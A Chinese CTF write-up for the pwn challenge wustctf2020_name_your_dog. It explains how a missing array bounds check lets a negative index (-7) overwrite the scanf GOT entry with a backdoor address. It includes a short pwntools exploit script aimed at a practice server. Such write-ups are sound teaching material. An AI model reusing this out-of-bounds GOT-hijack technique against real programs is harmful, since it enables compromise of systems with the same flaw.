其他分享
首页 > 其他分享> > wustctf2020_name_your_dog(数组越界劫持got)

wustctf2020_name_your_dog(数组越界劫持got)

作者:互联网

wustctf2020_name_your_dog:

有一道类似的叫name_your_cat,是数组越界
请添加图片描述

逆向分析:

主界面

请添加图片描述
请添加图片描述

NameWhich函数:
根本没检查边界,num我们随便取,依旧数组越界
请添加图片描述
后门
请添加图片描述

具体步骤:

got表可写,got表就在dog上面不远处,我们能改__isoc99_scanf,printf
printf=0x0804A00C
__isoc99_scanf=0x0804A028
dog=0x804a060
由于与print相差不是8的倍数,我们选scanf
num填(0x28-0x60)/8=-7

exp:

from pwn import*
#r=process('./wustctf2020_name_your_dog')
r=remote('node4.buuoj.cn',26698)
shell=0x80485cb
r.sendlineafter('Name for which?\n>','-7')
r.sendlineafter('Give your name plz: ',p32(shell))
r.interactive()

标签:wustctf2020,scanf,dog,got,your,name
来源: https://blog.csdn.net/m0_51251108/article/details/121167688